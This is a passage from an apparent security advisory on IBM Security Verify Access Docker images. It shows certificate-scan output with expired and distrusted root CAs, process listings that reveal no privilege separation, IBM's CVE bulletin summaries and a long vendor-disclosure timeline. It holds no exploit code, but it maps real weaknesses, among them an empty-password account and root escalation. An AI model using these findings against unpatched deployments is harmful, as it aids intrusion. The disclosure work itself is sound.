CA,ST=Oslo,C=NO\n expired ( expired on 2022-10-07T00:33:37Z, 2 weeks 3 days since expiry)\n\nFound 395 certificates total, of which 21 had issues\n\u003c/pre\u003e\n\n\n\nResults for:\n\n- - ibmcom/verify-access-runtime:10.0.4.0\n- - ibmcom/verify-access-wrp:10.0.4.0 \n- - ibmcom/verify-access-dsc:10.0.4.0\n\n\u003cpre\u003e\nkali-docker# paranoia inspect ibmcom/verify-access-runtime:10.0.4.0\nCertificate CN=Cybertrust Global Root,O=Cybertrust\\, Inc\nexpired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)\n removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon. \n\nCertificate CN=DST Root CA X3,O=Digital Signature Trust Co. \nexpired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry)\n removed from Mozilla trust store, no reason given\n\nCertificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR\n expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry)\n\nCertificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign\nexpired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)\n removed from Mozilla trust store, comments: Ownership transferred to GTS:\nhttps://bug1325532.bmoattachments.org/attachment.cgi?id=8844281\n\nCertificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR\n removed from Mozilla trust store, no reason given\n\nCertificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL\n expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry)\n\nCertificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU\n removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59\n\nhttps://bugzilla.mozilla.org/show_bug.cgi?id=1410277\nCertificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign\nexpired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)\n removed from Mozilla trust store, comments: Ownership transferred to GTS:\nhttps://bug1325532.bmoattachments.org/attachment.cgi?id=8844281\n\nCertificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR\n removed from Mozilla trust store, no reason given\n\nCertificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU\n removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59\n\nhttps://bugzilla.mozilla.org/show_bug.cgi?id=1410277\nCertificate CN=Cybertrust Global Root,O=Cybertrust\\, Inc\nexpired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)\n removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon. \n\nCertificate CN=DST Root CA X3,O=Digital Signature Trust Co. \nexpired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry)\n removed from Mozilla trust store, no reason given\n\nCertificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR\n expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry)\n\nCertificate CN=DigiNotar PKIoverheid CA Organisatie - G2,O=DigiNotar B.V.,C=NL\n expired ( expired on 2020-03-23T09:50:05Z, 2 years 30 weeks since expiry)\n\nCertificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign\nexpired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry)\n removed from Mozilla trust store, comments: Ownership transferred to GTS:\nhttps://bug1325532.bmoattachments.org/attachment.cgi?id=8844281\n\nCertificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR\n removed from Mozilla trust store, no reason given\n\nCertificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL\n expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry)\n\nCertificate CN=sks-keyservers.net CA,O=sks-keyservers.net CA,ST=Oslo,C=NO\n expired ( expired on 2022-10-07T00:33:37Z, 2 weeks 3 days since expiry)\n\nFound 374 certificates total, of which 18 had issues\n\u003c/pre\u003e\n\nThe communications used in the ISVA platform use SSL/TLS with a trust entirely based on underlying CAs. Some CAs have been revoked and cannot be trusted anymore. \n\nThe presence of revoked and expired CAs also shows that the security of the Docker images is highly perfectible. \n\n\n\n## Details - Lack of privilege separation in Docker instances\n\nIt was observed that the Docker images do not implement privilege separation. Privilege separation is a software-based implementation of the principle of least privilege. \n\nUsing dynamic analysis, the ibmcom/verify-access-wrp:10.0.4.0 Docker image, ibmcom/verify-access:10.0.4.0 Docker image, and the ibmcom/verify-access-runtime Docker image do not correctly implement privilege separation. \n\nProcesses running inside the ibmcom/verify-access:10.0.4.0 Docker image:\n\n USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\n isam 1 0.0 0.0 12060 2812 ? Ss Oct21 0:00 /bin/sh /sbin/bootstrap.sh\n isam 312 0.0 0.0 24532 56 ? Ss Oct21 0:00 /usr/sbin/mesa_crashd\n isam 314 0.1 0.0 24568 2056 ? R Oct21 6:20 /usr/sbin/mesa_crashd\n isam 318 0.0 0.0 69160 2732 ? Ss Oct21 0:00 /usr/sbin/mesa_syslogd\n isam 322 0.0 0.0 69224 2164 ? S Oct21 0:02 /usr/sbin/mesa_syslogd\n isam 399 0.0 0.0 102760 2740 ? Ss Oct21 0:00 /usr/sbin/mesa_eventsd -m 1000\n isam 400 0.0 0.1 711216 8276 ? Sl Oct21 0:00 /usr/sbin/mesa_eventsd -m 1000\n isam 747 0.0 0.0 270992 7452 ? Ssl Oct21 0:06 /usr/sbin/wga_watchdogd slapdw -log_file /var/application.logs.local/verify_access_runtime/user_registry/msg__user_registry.log /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap \n isam 756 0.0 0.0 271124 7308 ? Ssl Oct21 0:06 /usr/sbin/wga_watchdogd ISAM-Policy-Server -log_file /var/application.logs.local/verify_access_runtime/policy/msg__pdmgrd.log -cfg /var/PolicyDirector/etc/ivmgrd.conf /opt/PolicyDirector/bin/pdmgrd -foreground\n isam 807 0.0 0.0 71488 3084 ? Ss Oct21 0:00 /usr/sbin/iss-lum\n isam 808 0.0 0.5 343920 42140 ? Sl Oct21 0:00 /usr/sbin/iss-lum\n isam 833 0.0 0.0 128400 5140 ? Ssl Oct21 0:00 /usr/sbin/rsyslogd\n isam 873 0.0 0.0 273920 7080 ? Ssl Oct21 0:06 /usr/sbin/wga_watchdogd wga_notifications -log_file /var/log/wga_notifications.log wga_notifications -foreground\n isam 879 1.5 0.5 563872 42292 ? Sl Oct21 71:40 wga_notifications -foreground\n isam 892 0.0 0.0 12060 1804 ? S Oct21 0:00 /bin/sh /sbin/bootstrap.sh\n isam 895 0.0 0.0 23068 1256 ? S Oct21 0:00 /usr/bin/coreutils --coreutils-prog-shebang=tail /usr/bin/tail -F -n+0 /var/application.logs.local/lmi/messages.log\n isam 573957 0.0 0.0 47620 3696 pts/0 Rs+ 16:53 0:00 ps -aux\n isam 573963 0.0 0.0 11928 2852 ? S 16:53 0:00 sh -c ls /var/support/core_*.* | wc -l\n \n pgresql 434 0.0 0.2 188380 17492 ? Ss Oct21 0:06 /usr/bin/postgres -D /var/postgresql/config/data\n pgresql 435 0.0 0.0 138892 2960 ? Ss Oct21 0:00 postgres: logger\n pgresql 446 0.0 0.0 188380 2696 ? Ss Oct21 0:00 postgres: checkpointer\n pgresql 447 0.0 0.0 188516 4676 ? Ss Oct21 0:03 postgres: background writer\n pgresql 448 0.0 0.0 188380 5148 ? Ss Oct21 0:03 postgres: walwriter\n pgresql 449 0.0 0.0 189112 5312 ? Ss Oct21 0:04 postgres: autovacuum launcher\n pgresql 450 0.0 0.0 139024 3016 ? Ss Oct21 0:15 postgres: stats collector\n pgresql 451 0.0 0.0 188916 5492 ? Ss Oct21 0:00 postgres: logical replication launcher\n \n www-data 547 0.3 6.2 4925056 499744 ? SLl Oct21 18:57 /opt/java/jre/bin/java -javaagent:/opt/IBM/wlp/bin/tools/ws-javaagent.jar -Djava.awt.headless=true -Djdk.attach.allowAttachSelf=true -Dcom.sun.jndi.ldap.object.disableEndpointIdentification=true -Djava.security.properties=/opt/IBM/wlp/usr/servers/de\n \n ivmgr 761 0.0 0.5 873712 44896 ? Sl Oct21 0:04 /opt/PolicyDirector/bin/pdmgrd -foreground\n ivmgr 863 0.0 0.1 276544 8440 ? Sl Oct21 0:00 /usr/sbin/wga_servertaskd\n \n ldap 752 0.0 10.3 1314228 822572 ? Sl Oct21 0:00 /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap\n \n root 813 0.0 0.0 41984 3528 ? Ss Oct21 0:01 /usr/sbin/crond\n root 862 0.0 0.0 174348 2828 ? Ss Oct21 0:00 /usr/sbin/wga_servertaskd\n\nSome processes are running as `isam`. For example, the rsyslogd processys runs as `isam`. If a program running as `isam` is compromised inside an instance, then all the programs running as isam are also compromised. \n\nProcesses running inside the ibmcom/verify-access-wrp:10.0.4.0 Docker image:\n\n PID USER TIME COMMAND\n 1 isam 9:42 /opt/pdweb/bin/webseald -foreground -noenv -config etc/webseald-login-internal.conf\n 32 isam 0:02 slapd -4 -f /etc/openldap/slapd.conf -h ldap://127.0.0.1:6389 -s 0\n\nThe only 2 processes are running as `isam`. \n\n\nProcesses running inside the ibmcom/verify-access-runtime: 10.0.4.0 Docker image:\n\n PID USER TIME COMMAND\n 1 isam 1h18 /opt/java/jre/bin/java -javaagent:/opt/ibm/wlp/bin/tools/ws-javaagent.jar -Djava.awt.headless=true -Djdk.attach.allowAttachSelf=true -Dcom.ibm.ws.logging.log.directory=/var/application.logs.local/rtprofile -Xms512m -Xmx2048m -Dcom.sun.security.enableCRLDP=true -Dsun.net.inetaddr.ttl=30 -Dhttps\n 38 isam 0:00 slapd -4 -f /etc/openldap/slapd.conf -h ldap://127.0.0.1:6389 -s 0\n 63 isam 0:04 /usr/bin/postgres -D /var/postgresql/config/data\n 64 isam 0:00 postgres: logger \n 66 isam 0:00 postgres: checkpointer \n 67 isam 0:00 postgres: background writer \n 68 isam 0:00 postgres: walwriter \n 69 isam 0:01 postgres: autovacuum launcher \n 70 isam 0:05 postgres: stats collector \n 71 isam 0:00 postgres: logical replication launcher \n 37169 isam 0:00 bash\n 37186 isam 0:00 ps -a\n\nIn the `ibmcom/verify-access-runtime` instance, we can confirm the postgres daemon is running. We can also confirm a complete lack of privilege separation: everything is running as isam. \n\nIf a program running as `isam` is compromised inside an instance, then the all the programs running as isam are also compromised. \n\n\n\n## Vendor Response\n\nIBM provided several security bulletins:\n\nSecurity Bulletin: IBM Security Verify Access is vulnerable to multiple Security Vulnerabilities - https://www.ibm.com/support/pages/node/7158790:\n\n- - CVE-2023-38371: IBM Security Access Manager uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information. \n- - CVE-2024-35137: IBM Security Access Manager Appliance could allow a local user to possibly elevate their privileges due to sensitive configuration information being exposed. \n- - CVE-2024-35139: IBM Security Verify Access could allow a local user to obtain sensitive information from the container due to incorrect default permissions. \n- - CVE-2023-30998: IBM Security Access Manager Container could allow a local user to obtain root access due to improper access controls. \n- - CVE-2023-30997: IBM Security Access Manager Container could allow a local user to obtain root access due to improper access controls. \n- - CVE-2023-38368: IBM Security Access Manager Container could disclose sensitive information to a local user to do improper permission controls. \n- - CVE-2023-38370: IBM Security Access Manager Container, under certain configurations, could allow a user on the network to install malicious packages. \n\nSecurity Bulletin: Security Vulnerabilities discovered in IBM Security Verify Access - https://www.ibm.com/support/pages/node/7145400:\n\n- - CVE-2024-25027: IBM Security Verify Access could disclose sensitive snapshot information due to missing encryption. \n\nSecurity Bulletin: Multiple Security Vulnerabilities were identified in IBM Security Verify Access - https://www.ibm.com/support/pages/node/7106586:\n\n- - CVE-2023-31003: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.6.1) could allow a local user to obtain root access due to improper access controls. \n- - CVE-2023-31001: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.6.1) temporarily stores sensitive information in files that could be accessed by a local user. \n- - CVE-2023-38267: IBM Security Access Manager Appliance (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.6.1) could allow a local user to obtain sensitive configuration information. \n- - CVE-2023-31005: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow a local user to escalate their privileges due to an improper security configuration. \n- - CVE-2023-30999: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow an attacker to cause a denial of service due to uncontrolled resource consumption. \n- - CVE-2023-43016: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow a remote user to log into the server due to a user account with an empty password. \n- - CVE-2023-32327: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. \n- - CVE-2023-32329: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow a user to download files from an incorrect repository due to improper file validation. \n- - CVE-2023-31004: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow a remote attacker to gain access to the underlying system using man in the middle techniques. \n- - CVE-2023-31006: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) is vulnerable to a denial of service attacks on the DSC server. \n- - CVE-2023-32328: IBM Security Verify Access 10.0.0.0 through 10.0.6.1 uses insecure protocols in some instances that could allow an attacker on the network to take control of the server. \n- - CVE-2023-32330: IBM Security Verify Access 10.0.0.0 through 10.0.6.1 uses insecure calls that could allow an attacker on the network to take control of the server. \n- - CVE-2023-43017: IBM Security Verify Access 10.0.0.0 through 10.0.6.1 could allow a privileged user to install a configuration file that could allow remote access. \n- - CVE-2023-31002: IBM Security Access Manager Container 10.0.0.0 through 10.0.6.1 temporarily stores sensitive information in files that could be accessed by a local user. \n- - CVE-2023-38369: IBM Security Access Manager Container 10.0.0.0 through 10.0.6.1 does not require that docker images should have strong passwords by default, which makes it easier for attackers to compromise user accounts. \n\nSecurity Bulletin: Multiple Security Vulnerabilities were discovered in IBM Security Verify Access Container (CVE-2024-35140, CVE-2024-35141, CVE-2024-35142) - https://www.ibm.com/support/pages/node/7155356:\n\n- - CVE-2024-35140: IBM Security Verify Access could allow a local user to escalate their privileges due to improper certificate validation. \n- - CVE-2024-35141: IBM Security Verify Access could allow a local user to escalate their privileges due to execution of unnecessary privileges. \n- - CVE-2024-35142: IBM Security Verify Access could allow a local user to escalate their privileges due to execution of unnecessary privileges. \n\n\n\n## Report Timeline\n\n* October 2022: Security assessment performed on IBM Security Verify Access. \n* Feb 12, 2023: A complete report was sent to IBM. \n* Feb 13, 2023: IBM acknowledged the reception of the security assessment and said that scan tools usually report a lot of issues so I have to check the status of detected CVEs by browsing RedHat webpages and create an issue for each CVE. \n* Feb 13, 2023: Replied to IBM saying that the security assessment was not done using a scanner. \n* Feb 14, 2023: Asked for an update. \n* Feb 14, 2023: IBM confirmed that the report was shared with L3 and \"IBM hacking team\". \n* Feb 22, 2023: IBM said they were still assessing the report. \n* Mar 13, 2023: An additional report on ibmsecurity was sent to IBM. \n* Mar 13, 2023: IBM confirmed that the second report was shared with L3 team. \n* Mar 15, 2023: IBM wanted to organize a meeting about the findings. \n* Mar 15, 2023: I replied that I would like to have a written feedback for each reported vulnerability in order to have constructive discussion. \n* Apr 4, 2023: I asked again IBM to confirm the vulnerabilities\n* Apr 5, 2023: IBM shared the analysis (VulnerabilityResponse.xlsx), confirming several vulnerabilities. \n* Apr 11, 2023: I provided my comments (VulnerabilityResponse-comments-Pierre.xlsx) and asked to organize a meeting. \n* Apr 11, 2023: IBM confirmed a meeting is possible. \n* Apr 18, 2023: I asked to organize a meeting on Apr 19, 2023. \n* Apr 18, 2023: IBM confirmed a meeting is possible. \n* Apr 19, 2023: I asked to have a meeting where every party (dev team, support and myself) can be present. \n* Apr 19, 2023: IBM confirmed a meeting would take place on Apr 20, 2023. \n* Apr 20, 2023: Meeting with IBM regarding ISVA. IBM confirmed they would recheck some of the issues and would provide CVEs for the vulnerabilities. \n* Apr 23, 2023: I asked to have a second meeting about ibmsecurity. \n* Apr 23, 2023: IBM confirmed they will organize a meeting on ibmsecurity. \n* Apr 24, 2023: I asked the timeline to get security patches. \n* Apr 24, 2023: IBM confirmed there are no ETA to get security patches. \n* Apr 27, 2023: Meeting with IBM regarding ibmsecurity. IBM confirmed they will fix all the issues. \n* May 10, 2023: I asked for CVE identifiers to track the vulnerabilities. \n* May 11, 2023: IBM said that PSIRT records have been opened and the scoring is in progress. \n* May 15, 2023: I reached IBM because I found a CVE (CVE-2023-25927) and a security bulletin likely corresponding to a vulnerability I reported, thanks to @CVEnew on Twitter: https://www.ibm.com/support/pages/node/6989653. I asked if this was one of the reported vulnerabilities. \n* Jul 7, 2023: IBM said the dev team was still working on the final list of issues and that everything would be fixed in the 10.0.7 release. \n* Jul 10, 2023: I asked when the 10.0.7 release would be available. I asked again more details about the previous advisory. \n* Jul 11, 2023: IBM said that the 10.0.7 release would be published on Dec 23, 2023. Regarding the CVEs, IBM replied they would need to discuss with the dev team. \n* Jul 12, 2023: I asked IBM to confirm if CVE-2023-25927 was one of the reported vulnerabilities. \n* Jul 12, 2023: IBM said that they do not credit security researchers. \n* Jul 13, 2023: I provided several IBM security bulletins where security researchers were credited, e.g. https://www.ibm.com/support/pages/security-bulletin-vulnerabilities-exist-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430. \n* Jul 14, 2023: IBM confirmed that they would forward the information to L3 team and asked what I would want to do with this case. \n* Jul 14, 2023: I said that (1) I was still waiting for information about CVE-2023-25927, (2) I did not have any information regarding security patches for ibmsecurity and (3) I asked IBM to provide me with the final list of vulnerabilities that would be patched in the 10.0.7. Since the list of confirmed vulnerabilities was quite long, I wanted to confirm that nothing was missed. \n* Jul 28, 2023: IBM said that they did not know if CVE-2023-25927 is one of the reported vulnerabilities and in any case, it is impossible to edit the security bulletin and give credits. \n* Aug 16, 2023: IBM asked if additional assistance was required [NB: IBM likely wanted to close this ticket while no security patches were published]. \n* Aug 17, 2023: I asked again information about ibmsecurity and CVE-2023-25927. \n* Oct 20, 2023: IBM said they were still analysing the requests (final list of patched vulnerabilties, security patches of ibmsecurity and status of CVE-2023-25927). \n* Oct 25, 2023: IBM asked to organize a meeting. \n* Oct 25, 2023: I replied that I was still waiting for the final list of vulnerabilities that would be fixed in version 10.0.7. There was also no information regarding security patches for ibmsecurity. \n* Oct 25, 2023: IBM replied they wanted to discuss about the vulnerabilities in a meeting. \n* Oct 29, 2023: IBM asked to organize a meeting again. \n* Oct 30, 2023: I accepted the meeting and I asked IBM to provide the list of vulnerabilities that would be patched with their current status. I also asked the status of ibmsecurity. \n* Oct 30, 2023: IBM asked to have a meeting on Nov 7, 2023. \n* Nov 2, 2023: I confirmed my presence to the meeting. \n* Nov 5, 2023: IBM confirmed the meeting. \n* Nov 7, 2023: Meeting with IBM. IBM provided me with a new report containing new feedbacks for several vulnerabilities. Also IBM confirmed that several vulnerabilities would be patched in 2024 and ibmsecurity would be patched in December 2023. IBM asked me to review a specific vulnerability that appears to be invalid (_V-[REDACTED] - Insecure SSLv3 connections to the DSC servers_). \n* Nov 21, 2023: IBM asked me to review the new report shared by IBM. \n* Nov 28, 2023: IBM asked for updates. \n* Dec 4, 2023: I answered that I did not have anymore access to the test infrastructure and IBM had to wait for my analysis until I get again access to the test infrastructure. \n* Dec 4, 2023: IBM asked me to check the vulnerabilities as soon as possible. \n* Dec 21, 2023: I got access to a test infrastructure and reviewed some vulnerabilities. \n* Dec 21, 2023: I sent a new analysis to IBM, containing details of 4 vulnerabilities. \n* Dec 27, 2023: IBM confirmed the reception of the new analysis. \n* Jan 15, 2024: IBM asked me to update ISVA and recheck all the vulnerabilities. \n* Jan 16, 2024: I asked IBM if ibmsecurity was also patched. \n* Jan 16, 2024: IBM confirmed that a new case must be opened for ibmsecurity to get security patches(!). \n* Jan 22, 2024: IBM wanted to organize a new meeting. \n* Jan 22, 2024: I replied that I failed to understand the issue with the ibmsecurity library and that I had a written confirmation by IBM that security patches would be provided. The vulnerabilities found in ibmsecurity were reported in March 2023 (10 months ago). \n* Jan 22, 2024: I informed IBM that I discovered(!) a new security bulletin thanks to @CVEnew: https://www.ibm.com/support/pages/node/7106586, but only 15 vulnerabilities were listed instead of the 35 vulnerabilities confirmed by IBM. I asked IBM to clarify the situation as it looked like less than half of vulnerabilities were indeed patched. \n* Jan 24, 2024: IBM created a new case for ibmsecurity. \n* Jan 29, 2024: IBM confirmed that 5 vulnerabilities had not been patched in the latest version (10.0.7). \n* Jan 29, 2024: I reached IBM to get the status of 15 unpatched vulnerabilities. I provided the updated analysis to IBM. \n* Feb 7, 2024: IBM confirmed that some of the vulnerabilities were \"being processed\" and that some of vulnerabilities had been also silently patched and no security bulletins had been published. \n* Feb 20, 2024: IBM asked for updates. \n* Feb 20, 2024: I asked when would be the release date for ISVA 10.0.8 and the complete list of vulnerabilities that would be patched in this release. \n* Feb 20, 2024: IBM confirmed that the 10.0.8 release would be published in mid-2024. \n* Feb 23, 2024: I sent a new vulnerability to IBM \"Authentication Bypass on IBM Security Verify Runtime\". \n* Feb 23, 2024: IBM confirmed the reception of the vulnerability and asked to close the ticket. \n* Feb 23, 2024: I said that since some vulnerabilities had not been patched, the ticket must stay open. \n* Feb 23, 2024: IBM said that they cannot keep the ticket open and they needed to close it. \n* Feb 23, 2024: I explained that the vulnerabilities were reported over a year ago and IBM confirmed they had not fully fixed in the latest version and that some vulnerabilities were also still under evaluation. I said that I would agree to close this ticket if IBM could confirm that all vulnerabilities reported in the ticket had been correctly fixed in the latest version. I also asked IBM to provide the corresponding security bulletins. \n* Feb 27, 2024: Regarding the authentication bypass, IBM replied that the runtime was supposed to be in the intranet zone. \n* Feb 28, 2024: I asked IBM to clarify where in the documentation specified that the runtime should not be exposed. For example, in https://www.ibm.com/docs/en/sva/10.0.7?topic=support-docker-image-verify-access-runtime, it was not explained that exposing this runtime on the network was a high security risk. \n* Mar 4, 2024: Regarding the vulnerabilities found in ibmsecurity, IBM said that any security vulnerability found in ibmsecurity must be reported by opening an issue in the Github repository. \n* Mar 8, 2024: IBM confirmed they were able to reproduce the authentication bypass vulnerability. \n* Mar 12, 2024: IBM confirmed they would add an optional MTLS authentication in the next release (10.0.8) and they would update the ISVA documentation to block any attempt of the authentication bypass vulnerability. \n* Mar 29, 2024: IBM published a new security bulletin: https://www.ibm.com/support/pages/node/7145400. \n* Mar 29, 2024: IBM confirmed that any security vulnerability found in ibmsecurity must be reported by opening an issue in the Github repository. \n* Apr 1, 2024: Creation of https://github.com/IBM-Security/ibmsecurity/issues/416. \n* Apr 2, 2024: IBM confirmed the reception of the report https://github.com/IBM-Security/ibmsecurity/issues/416#issuecomment-2032110397. \n* Apr 3, 2024: https://github.com/IBM-Security/ibmsecurity/issues/416 was entirely redacted by IBM. \n* Apr 5, 2024: I asked if the vulnerabilities would be patched in the #416 issue (https://github.com/IBM-Security/ibmsecurity/issues/416). \n* Apr 6, 2024: Issue #416 (https://github.com/IBM-Security/ibmsecurity/issues/416) closed. \n* Apr 6, 2024: I added again the content of https://github.com/IBM-Security/ibmsecurity/issues/416 and asked if CVEs would be published. \n* Apr 10, 2024: Security bulletin for ibm security published: https://www.ibm.com/support/pages/node/7147932. \n* Apr 10, 2024: I reached IBM regarding a new security bulletin, with a potential vulnerability I reported https://www.ibm.com/support/pages/node/7145828. \n* Apr 10, 2024: IBM said this security bulletin was unrelated to the vulnerabilities I reported. \n* Apr 15, 2024: IBM confirmed that the final vulnerabilities would be fixed in ISVA 10.0.8. \n* Apr 15, 2024: I provided a list of unfixed vulnerabilities and asked for more information. \n* Apr 16, 2024: IBM confirmed that all the unfixed vulnerabilities would be fixed in ISVA 10.0.8 and asked to close the ticket. \n* Apr 16, 2024: I confirmed that this ticket can be closed only when the security patches are available. \n* Apr 16, 2024: IBM confirmed they wanted to close the ticket because nothing would be updated before mid-2024. \n* Apr 17, 2024: I replied that \"It makes no sense to close this ticket until the vulnerabilities have been fixed. The fact that the vulnerabilities are fixed mid-year is a decision made by IBM. IBM was made aware of these vulnerabilities over a year ago, and yet we are still waiting for security patches. If this ticket is closed, I would consider that the vulnerabilities have been fixed and it is perfectly fine to publish the technical analysis.\"\n* May 6, 2024: IBM closed the existing ticket and opened new tickets for the remaining vulnerabilities. \n* May 6, 2024: I contacted IBM PSIRT asking if it was fine to publish the vulnerabilities since the ticket was closed by IBM. \n* May 7, 2024: I reopened the ticket stating that some of the patched vulnerabilities did not receive a CVE and there were also some unpatched vulnerabilities. I asked IBM to provide me with the CVE assigned to each vulnerability. I also asked IBM to confirm that, since this ticket had been closed by IBM, all the vulnerabilities had been fixed and that I would be able to publish the technical details. \n* May 8, 2024: IBM said they would review the list of vulnerabilities. \n* May 10, 2024: IBM PSIRT asked me not to publish technical details of unpatched vulnerabilities. \n* May 17, 2024: IBM provided me with an incomplete list of CVEs, with different vulnerabilities under the same CVE identifier and asked to close the ticket. \n* May 20, 2024: IBM asked for my comments on the list of CVEs. \n* May 20, 2024: I confirmed that several CVEs were missing and the list was incomplete. \n* May 21, 2024: IBM provided me with an explanation regarding the missing CVEs. \n* May 21, 2024: I asked IBM to quote their explanation in the security advisory. \n* May 21, 2024: IBM asked to have a meeting. \n* May 22, 2024: I replied that I would prefer written communication since it was very difficult to track the status of the vulnerabilities with (1) CVEs obtained only several months after the release of security bulletins, (2) tickets closed by IBM for unpatched vulnerabilities, (3) vulnerabilities in ibmsecurity which could be corrected by IBM and which could then no longer be managed by IBM, and (4) missing CVEs. \n* May 22, 2024: IBM asked to have a meeting to remove any confusion. \n* May 23, 2024: I replied that there\u0027s not much confusion except missing CVEs for silently patched vulnerabilities and lack of communication from IBM when releasing security patches. I asked IBM to share the CVEs with the corresponding vulnerabilities and indicate the security bulletins with the list of corresponding vulnerabilities. \n* May 24, 2024: IBM stated they would provide me with additional CVEs. \n* May 30, 2024: I confirmed that the creation of additional CVEs is fair. \n* Jun 2, 2024: IBM confirmed 3 new CVEs in a new security bulletin: https://www.ibm.com/support/pages/node/7155356. \n* Jun 3, 2024: I asked IBM the release date of the 10.0.8 version. \n* Jun 3, 2024: IBM confirmed that the exact date was not yet decided. \n* Jun 6, 2024: IBM asked if I had comments about the remaining vulnerabilities. \n* Jun 8, 2024: I asked IBM the status of a previously patched vulnerability. \n* Jun 10, 2024: IBM confirmed that this vulnerability had not been previously patched and would be patched in the 10.0.8 release. \n* Jun 11, 2024: IBM asked to create separate cases for the remaining vulnerabilities. \n* Jun 19, 2024: IBM asked if I needed assistance. \n* Jun 23, 2024: IBM confirmed that the 10.0.8 version was released and that they would close the ticket tracking the vulnerabilities. \n* Jun 26, 2024: I asked IBM to provide the corresponding CVEs and the link of the security bulletin. \n* Jun 27, 2024: IBM provided me with the link to the security bulletin: https://www.ibm.com/support/pages/node/7158790 and said that the 10.0.8 version was released with all the patched vulnerabilities. IBM closed the ticket. \n* Jul 3, 2024: I reopened the ticket and asked IBM to provide me with the list of vulnerabilities with the corresponding CVEs since I was not able to correctly map the CVEs to the vulnerabilities I reported. \n* Jul 8, 2024: IBM provided me with the list of CVEs. IBM closed the ticket. \n* Sep 7, 2024: I sent an email to IBM PSIRT stating that I was going to publish the security advisory and that some CVEs were still missing. I also stated that CVE-2023-38371 seemed to be an error since it was confirmed not to be a vulnerability according to our previous email exchanges. \n* Sep 9, 2024: I asked IBM to provide me with an official link regarding the runtime authentication bypass, to publish it in the security advisory. \n* Sep 13, 2024: IBM PSIRT provided me with (1) links regarding the runtime authentication bypass and (2) additional CVEs. They also confirmed that at least one vulnerability was not fixed and asked me not to disclose this finding until it was patched. No information was provided when this vulnerability would be patched. \n* Nov 1, 2024: A security advisory is published. \n\n\n\n## Credits\n\nThese vulnerabilities were found by Pierre Barre aka Pierre Kim (@PierreKimSec). \n\n\n\n## 